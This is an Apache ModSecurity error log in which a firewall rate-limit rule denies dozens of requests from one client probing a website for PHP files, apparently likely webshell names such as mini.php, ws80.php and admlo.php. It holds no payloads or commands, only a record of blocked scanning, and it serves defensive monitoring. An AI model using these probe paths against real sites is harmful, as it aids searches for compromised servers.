[Thu Apr 23 05:33:05.119030 2026] [:error] [pid 42971:tid 42994] [client 51.107.217.123:20090] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aek-kTEP2_5RswrH8bF3_AAAAAg"]
[Thu Apr 23 05:33:07.197465 2026] [:error] [pid 42973:tid 43059] [client 51.107.217.123:33319] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aek-k26I0QqmmmLTHE2ekAAAAJA"]
[Thu Apr 23 05:33:09.550466 2026] [:error] [pid 43083:tid 43100] [client 51.107.217.123:2299] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aek-lTC5hrvNXosL83KDQAAAAM8"]
[Thu Apr 23 05:33:10.813706 2026] [:error] [pid 43083:tid 43096] [client 51.107.217.123:30288] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aek-ljC5hrvNXosL83KDRAAAAMs"]
[Thu Apr 23 05:33:12.096673 2026] [:error] [pid 42971:tid 42989] [client 51.107.217.123:17942] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aek-mDEP2_5RswrH8bF4AwAAAAM"]
[Thu Apr 23 05:33:28.368862 2026] [:error] [pid 42971:tid 42995] [client 51.107.217.123:20835] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aek-qDEP2_5RswrH8bF4HgAAAAk"]
[Thu Apr 23 05:33:30.158473 2026] [:error] [pid 43083:tid 43091] [client 51.107.217.123:28818] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aek-qjC5hrvNXosL83KDYgAAAMY"]
[Thu Apr 23 05:33:34.089270 2026] [:error] [pid 43083:tid 43108] [client 51.107.217.123:31004] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aek-rjC5hrvNXosL83KDbwAAANc"]
[Thu Apr 23 05:33:40.939023 2026] [:error] [pid 42973:tid 43053] [client 51.107.217.123:30267] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aek-tG6I0QqmmmLTHE2eqgAAAIo"]
[Thu Apr 23 05:33:53.969681 2026] [:error] [pid 42973:tid 43060] [client 51.107.217.123:35880] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "aek-wW6I0QqmmmLTHE2etAAAAJE"]
[Thu Apr 23 05:33:57.001567 2026] [:error] [pid 42973:tid 43056] [client 51.107.217.123:29640] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aek-xW6I0QqmmmLTHE2evQAAAI0"]
[Thu Apr 23 05:34:00.856177 2026] [:error] [pid 25635:tid 25646] [client 51.107.217.123:34125] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aek-yMRxv6UsgRGKB3KPOwAAAQc"]
[Thu Apr 23 05:34:01.920753 2026] [:error] [pid 25635:tid 25644] [client 51.107.217.123:30225] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aek-ycRxv6UsgRGKB3KPQAAAAQU"]
[Thu Apr 23 05:34:24.824337 2026] [:error] [pid 25635:tid 25660] [client 51.107.217.123:28906] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aek-4MRxv6UsgRGKB3KPhgAAARU"]
[Thu Apr 23 05:34:26.457601 2026] [:error] [pid 42973:tid 43066] [client 51.107.217.123:34218] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aek-4m6I0QqmmmLTHE2e6wAAAJc"]
[Thu Apr 23 05:34:27.701166 2026] [:error] [pid 42973:tid 43057] [client 51.107.217.123:26667] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aek-426I0QqmmmLTHE2e7gAAAI4"]
[Thu Apr 23 05:34:28.516477 2026] [:error] [pid 42972:tid 43022] [client 51.107.217.123:31842] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aek-5MOAb-3sOknsk4fr2QAAAEY"]
[Thu Apr 23 05:34:29.820069 2026] [:error] [pid 25635:tid 25660] [client 51.107.217.123:34183] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aek-5cRxv6UsgRGKB3KPjgAAARU"]
[Thu Apr 23 05:34:33.367389 2026] [:error] [pid 43083:tid 43102] [client 51.107.217.123:26015] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aek-6TC5hrvNXosL83KDxwAAANE"]
[Thu Apr 23 05:34:38.933488 2026] [:error] [pid 25635:tid 25661] [client 51.107.217.123:21998] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aek-7sRxv6UsgRGKB3KPoAAAARY"]
[Thu Apr 23 05:34:42.415379 2026] [:error] [pid 25635:tid 25642] [client 51.107.217.123:28880] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aek-8sRxv6UsgRGKB3KPpgAAAQM"]
[Thu Apr 23 05:34:43.763958 2026] [:error] [pid 25635:tid 25644] [client 51.107.217.123:26030] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aek-88Rxv6UsgRGKB3KPrAAAAQU"]
[Thu Apr 23 05:34:44.876965 2026] [:error] [pid 42972:tid 43022] [client 51.107.217.123:28890] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aek-9MOAb-3sOknsk4fr-AAAAEY"]
[Thu Apr 23 05:34:48.105479 2026] [:error] [pid 42973:tid 43054] [client 51.107.217.123:33299] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aek--G6I0QqmmmLTHE2e-QAAAIs"]
[Thu Apr 23 05:34:54.620918 2026] [:error] [pid 42973:tid 43054] [client 51.107.217.123:18410] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aek-_m6I0QqmmmLTHE2fBwAAAIs"]
[Thu Apr 23 05:34:57.752543 2026] [:error] [pid 42972:tid 43029] [client 51.107.217.123:33296] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aek_AcOAb-3sOknsk4fsDgAAAE0"]
[Thu Apr 23 05:35:09.172035 2026] [:error] [pid 42973:tid 43052] [client 51.107.217.123:34028] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aek_DW6I0QqmmmLTHE2fIwAAAIk"]
[Thu Apr 23 05:35:17.641638 2026] [:error] [pid 43083:tid 43090] [client 51.107.217.123:25413] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aek_FTC5hrvNXosL83KEFgAAAMU"]
[Thu Apr 23 05:35:19.016904 2026] [:error] [pid 43083:tid 43108] [client 51.107.217.123:25460] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aek_FzC5hrvNXosL83KEHgAAANc"]
[Thu Apr 23 05:35:22.997685 2026] [:error] [pid 25635:tid 25647] [client 51.107.217.123:35590] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aek_GsRxv6UsgRGKB3KQAQAAAQg"]
[Thu Apr 23 05:35:47.545570 2026] [:error] [pid 42973:tid 43050] [client 51.107.217.123:23805] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aek_M26I0QqmmmLTHE2fTwAAAIc"]
[Thu Apr 23 05:35:49.087980 2026] [:error] [pid 25635:tid 25648] [client 51.107.217.123:23416] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aek_NcRxv6UsgRGKB3KQUAAAAQk"]
[Thu Apr 23 05:35:50.105910 2026] [:error] [pid 43083:tid 43090] [client 51.107.217.123:21894] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aek_NjC5hrvNXosL83KEVgAAAMU"]
[Thu Apr 23 05:36:01.056076 2026] [:error] [pid 25635:tid 25656] [client 51.107.217.123:48014] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/profile.php"] [unique_id "aek_QcRxv6UsgRGKB3KQbgAAARE"]
[Thu Apr 23 05:36:02.565212 2026] [:error] [pid 43083:tid 43090] [client 51.107.217.123:2491] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "aek_QjC5hrvNXosL83KEagAAAMU"]
[Thu Apr 23 05:36:04.720795 2026] [:error] [pid 42971:tid 42998] [client 51.107.217.123:48019] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "aek_RDEP2_5RswrH8bF4rQAAAAw"]
[Thu Apr 23 05:36:10.121493 2026] [:error] [pid 42971:tid 43003] [client 51.107.217.123:37014] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "aek_SjEP2_5RswrH8bF4tgAAABE"]
[Thu Apr 23 05:36:22.181789 2026] [:error] [pid 42973:tid 43058] [client 51.107.217.123:37009] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aek_Vm6I0QqmmmLTHE2fdwAAAI8"]
[Thu Apr 23 05:36:25.329129 2026] [:error] [pid 43083:tid 43109] [client 51.107.217.123:28127] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aek_WTC5hrvNXosL83KEfwAAANg"]
[Thu Apr 23 05:36:26.433866 2026] [:error] [pid 25635:tid 25648] [client 51.107.217.123:25166] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aek_WsRxv6UsgRGKB3KQngAAAQk"]
[Thu Apr 23 05:36:27.625518 2026] [:error] [pid 25635:tid 25658] [client 51.107.217.123:17271] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aek_W8Rxv6UsgRGKB3KQowAAARM"]
[Thu Apr 23 05:36:29.257981 2026] [:error] [pid 42972:tid 43034] [client 51.107.217.123:19209] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aek_XcOAb-3sOknsk4fsTwAAAFI"]
[Thu Apr 23 05:36:30.149633 2026] [:error] [pid 25635:tid 25649] [client 51.107.217.123:22247] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aek_XsRxv6UsgRGKB3KQrQAAAQo"]
[Thu Apr 23 05:36:32.710388 2026] [:error] [pid 25635:tid 25662] [client 51.107.217.123:37030] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aek_YMRxv6UsgRGKB3KQtQAAARc"]
[Thu Apr 23 05:36:34.131971 2026] [:error] [pid 42972:tid 43027] [client 51.107.217.123:33050] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aek_YsOAb-3sOknsk4fsUgAAAEs"]
[Thu Apr 23 05:36:36.966438 2026] [:error] [pid 42972:tid 43023] [client 51.107.217.123:19235] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aek_ZMOAb-3sOknsk4fsWQAAAEc"]
[Thu Apr 23 05:36:37.995847 2026] [:error] [pid 42972:tid 43031] [client 51.107.217.123:31092] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aek_ZcOAb-3sOknsk4fsWwAAAE8"]
[Thu Apr 23 05:36:41.672463 2026] [:error] [pid 43083:tid 43098] [client 51.107.217.123:35238] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aek_aTC5hrvNXosL83KEmwAAAM0"]
[Thu Apr 23 05:36:43.602772 2026] [:error] [pid 25635:tid 25650] [client 51.107.217.123:32758] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "aek_a8Rxv6UsgRGKB3KQ0AAAAQs"]
[Thu Apr 23 05:36:44.714206 2026] [:error] [pid 42973:tid 43057] [client 51.107.217.123:2363] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aek_bG6I0QqmmmLTHE2ffwAAAI4"]
[Thu Apr 23 05:36:45.774413 2026] [:error] [pid 42971:tid 42996] [client 51.107.217.123:22245] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aek_bTEP2_5RswrH8bF4ygAAAAo"]
[Thu Apr 23 05:37:14.300947 2026] [:error] [pid 43083:tid 43104] [client 51.107.217.123:21141] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aek_ijC5hrvNXosL83KE8wAAANM"]
[Thu Apr 23 05:37:15.790357 2026] [:error] [pid 25635:tid 25640] [client 51.107.217.123:2150] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aek_i8Rxv6UsgRGKB3KQ-AAAAQE"]
[Thu Apr 23 05:37:18.150680 2026] [:error] [pid 25635:tid 25641] [client 51.107.217.123:61470] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aek_jsRxv6UsgRGKB3KRAAAAAQI"]
[Thu Apr 23 05:37:19.892567 2026] [:error] [pid 25635:tid 25663] [client 51.107.217.123:33377] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aek_j8Rxv6UsgRGKB3KRAwAAARg"]
[Thu Apr 23 05:37:22.052954 2026] [:error] [pid 42973:tid 43060] [client 51.107.217.123:2118] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aek_km6I0QqmmmLTHE2fwwAAAJE"]
